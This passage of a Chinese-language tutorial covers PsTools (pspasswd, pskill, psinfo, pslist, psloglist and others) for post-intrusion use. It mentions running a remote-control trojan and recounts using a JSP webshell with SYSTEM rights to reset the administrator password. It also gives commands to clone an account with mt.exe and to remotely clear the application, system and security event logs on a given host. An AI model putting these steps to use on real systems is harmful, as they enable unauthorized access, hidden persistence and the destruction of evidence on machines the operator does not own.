当然你也可运行一个远控木马这些都可以~~~

Psexec 的介绍就到这里了。
0×02 pspasswd的应用详解
Pspasswd是一个用来更改用户密码的工具,支持远程密码修改和本地密码修改。这款工具的特点就是不依靠net,exe程序进行密码修改。
本地修改命令如下:
pspasswd administrator yueyan
演示图如下:

 

 

远程命令如下: www.2cto.com

pspasswd \\192.168.1.3 –u administrator –p 123456 guest yueyan
命令的意思就是,用administrator这个管理员账户登录后修改用户guest的密码为yueyan
相对来说本地修改密码的功能更强大一些。
我这将介绍个实例:
我的一个好基友Lynn得到一个jsp马,并且是nt authority\system权限。但是无法添加用户,且无法用net修改管理员密码。抓取hash密码大于14位,LMhash无效,本地又为搭建彩虹表,网上破解无果。Hash传递登陆被拦截。但是机油lynn却一直想用administrator这个用户登陆进去,当然方法还有很多,比如: mimikatz.exe抓取明文密码等,这里我将介绍pspasswd的妙用。
我们想用administrator这个账户登陆进去。很简单,直接上传一个pspasswd上服务器。
执行下面的命令:
首先执行D:\web|pspasswd.exe –accepteula (第一次执行,表示许可执行的意思)
D:\web|pspasswd.exe administrator yueyan
就会成功修改administrator的密码。
这里能修改密码的原因是pspasswd不是调用net.exe进行密码修改。
上述介绍常常配合mt.exe进行用户克隆。这里简单介绍:
(关于mt.exe的详细介绍请访问:【工具】mt.exe的详细介绍)
首先mt.exe查看用户sid,比较后看是否有克隆账户
Mt -chkuser
比较后,没有克隆账户,我们选择guest这个账户进行克隆:
Mt –clone administrator guest
然后配合pspasswd修改密码:
Pspasswd guest yueyan
就这样成功克隆一个账户,并能成功登陆访问。
Pspasswd的功能就介绍到这里。
0×03 pskill+psinfo+pslist的应用详解
首先是介绍pskill.
如果你想远程结束远程主机上的一个进程,你可以使用pskill。
我们就介绍一下常用的命令:
比如我们想远程关闭远程主机正在运行的cmd这个进程,可以用pskill进行杀掉。命令如下:
pskill \\192.168.1.3 –u test –p 123456 cmd.exe
命令很简单~~~~
我再介绍psinfo的相关应用。
基本参数是:
-h 显示已经安装的补丁信息
-s 显示已安装的软件信息
-d 显示磁盘信息
、、、、、、
如果我们想看远程主机的基本信息,命令如下:
psinfo –h –s –d \\192.168.1.3 –u administrator –p 123456
接下来就是pslist。
主要特点是,显示本地或者远程计算机的进程运行情况。
主要参数:
-m 显示内存信息
-x 显示进程,内存和线程
-t 显示进程树
-s n 在任务管理器模式先运行,n指定秒,以esc结束。
-r n 任务管理器模式刷新速率,n指秒
例如我们想看远程计算机的进程运行情况,命令如下:
Pslist –x \\192.168.1.3 –u test –p 123456
效果图如下:
其他ps工具介绍:
PSLOGGEDON:查看指定计算机的本地及远程登录的用户和登录时间。必须建立在IP$共享下才可以使用这个工具。
命令如下:
Psloggedon –l \\192.168.1.3
PSLOGLIST:事件日志转储及管理。
这个对于渗透测试是非常有用的,它最大的特点就是远程清理系统日志。
常用:
psloglist \\72.56.17.74 application -c > nul
psloglist \\72.56.17.74 system -c > nul
psloglist \\72.56.17.74 security -c > nul
分别是清理应用程序日志,系统运行日志,安全日志。
PSSERVICE:管理服务。
常用:
psservice query messenger
查询messenger服务的相关信息。
最重要的项目是:服务名称、显示名称、服务描述、服务类型、服务状态。
psservice config messenger
查询服务的配置信息。
最重要的项目是:服务名称、服务描述、服务类型、服务启动类型、服务错误控制级别、可执行文件的路径等等。
PSSHUTDOWN:关机工具。
常用命令:
Psshutdown –s –t 60
60秒后关机。
下面几个不常用,就介绍下:
• PsFile – 显示远程打开的文件
Psfile \\192.168.1.3
• PsGetSid – 显示计算机或用户的 SID
Psgetsid \\192.168.1.3
• PsSuspend – 暂停进程
Pssuspend \\192.168.1.3 –u test –p 123456 cmd,exe

最后的最后,附上下载地址:https://download.sysinternals.com/files/PSTools.zip

或者http://0cx.cc/usr/uploads/2015/05/2718755970.zip